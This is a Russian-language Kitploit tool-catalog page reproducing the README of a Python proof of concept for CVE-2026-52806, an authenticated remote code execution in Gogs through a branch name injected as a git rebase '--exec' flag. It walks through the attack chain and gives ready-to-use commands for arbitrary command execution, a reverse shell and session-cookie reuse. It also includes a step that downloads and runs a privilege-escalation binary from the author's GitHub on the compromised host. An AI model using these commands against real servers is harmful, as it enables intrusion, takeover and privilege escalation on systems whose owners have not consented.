Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/portbuster1337/cve-2026-52806
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияCTFТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHub
61152 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
portbuster1337/cve-2026-52806

CVE-2026-52806

Gogs RCE через внедрение аргументов в git rebase (CWE-88) — Python PoC. CVE-2026-52806

РепозиторийСайт

Gogs RCE — Внедрение аргумента в git rebase (CWE-88)

Удаленное выполнение кода с аутентификацией на Gogs (<= 0.14.2 и 0.15.0+dev) через внедрение аргумента в процессе слияния pull request.

CVE-2026-52806

Уязвимость

Функция Merge() в internal/database/pull.go передаёт имя базовой ветки PR в git rebase без разделителя --. Ветка с именем --exec=<КОМАНДА> обрабатывается Git как флаг --exec, а не как позиционный аргумент, что приводит к выполнению sh -c <КОМАНДА> после каждого воспроизведённого коммита во время rebase.

Как работает эксплойт

  1. Предварительная проверка — определяет, работает ли цель на Gogs, определяет версию через параметр ?v= на статических ресурсах и проверяет, открыта ли регистрация, защищена ли капчей или отключена.
  2. Аутентификация — если учётные данные не предоставлены, пытается автоматически зарегистрироваться (без капчи) или, если капча включена, выводит сообщение с просьбой создать аккаунт на странице регистрации цели и перезапустить с -u <имя_пользователя> -pw <пароль>. Создаёт API-токен через Basic auth или страницу веб-настроек.
  3. Настройка репозитория — создаёт временный приватный репозиторий через API Gogs и включает Rebase before merging в настройках.
  4. Манипуляция ветками Git — локально инициализирует git-репо, отправляет:
    • Ветку master с файлом README
    • Ветку feature-* с расходящимся коммитом
    • Вредоносную ветку с именем --exec=sh${IFS}.payload, содержащую скрипт, который выполняет команду атакующего в фоне
  5. Pull request — открывает PR из ветки feature в вредоносную ветку --exec=.
  6. Запуск — отправляет POST на endpoint слияния с merge_style=rebase_before_merging. Gogs внутренне выполняет git rebase --exec=sh${IFS}.payload, что запускает полезную нагрузку после каждого воспроизведённого коммита.
  7. Очистка — удаляет временный репозиторий и локальные временные файлы.

Требования

  • Python 3.6+
  • requests (pip install requests)
  • Локальная установка git

Использование

python3 gogs.py <target> [options]

Предварительная проверка

python3 gogs.py http://target:3000 --preflight-only

Сообщает:

  • Registration: ENABLED (no captcha) — можно авторегистрация
  • Registration: ENABLED (CAPTCHA DETECTED) — создайте аккаунт вручную на странице регистрации цели, затем укажите учётные данные с -u / -pw
  • Registration: DISABLED — нужны существующие учётные данные от администратора

Запуск эксплойта

# Авторегистрация + выполнение команды
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Существующий аккаунт
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Обратная оболочка
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Капча включена: создайте аккаунт на странице регистрации цели, затем используйте учётные данные
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# Если вход с учётными данными не удался, передайте файл cookie сессии напрямую
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

Параметры

ФлагОписание
targetХост[:порт] (например, 47.109.58.140:9000)
-p, --portHTTP-порт (по умолчанию: 3000)
-u, --usernameИмя пользователя Gogs
-pw, --passwordПароль Gogs
--cookieСтрока cookie сессии
--cmdКоманда для выполнения на цели
--listenerОбратная оболочка хост:порт
--lhost / --lportХост и порт для обратной оболочки
--sslИспользовать HTTPS
--preflight-onlyТолько предварительная проверка

Постэксплуатация

После получения оболочки на цели процесс Gogs обычно работает от имени пользователя с низкими привилегиями (например, git в Docker). Для попытки повышения привилегий до root загрузите и запустите бинарный файл lpe-toolkit со страницы релизов проекта:

# Из вашей сессии оболочки:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

Инструментарий перечисляет эксплойты для ядра, неправильные конфигурации и другие распространённые векторы повышения привилегий.

Ссылки

  • Статья Rapid7 — Authenticated RCE via Argument Injection in Gogs (unfixed)
  • Модуль Metasploit — exploit/multi/http/gogs_rebase_rce от Jonah Burgess (CryptoCat) (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

Этот PoC на Python вдохновлён опубликованным модулем Metasploit. Уязвимость была обнаружена и ответственно раскрыта Джоной Бёрджесс (CryptoCat) из Rapid7.

Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.

Примечание

API Gogs не поддерживает удаление токенов, поэтому любые токены доступа к API, созданные во время эксплуатации, останутся и должны быть удалены вручную на странице /user/settings/applications целевого экземпляра.

Скачать инструмент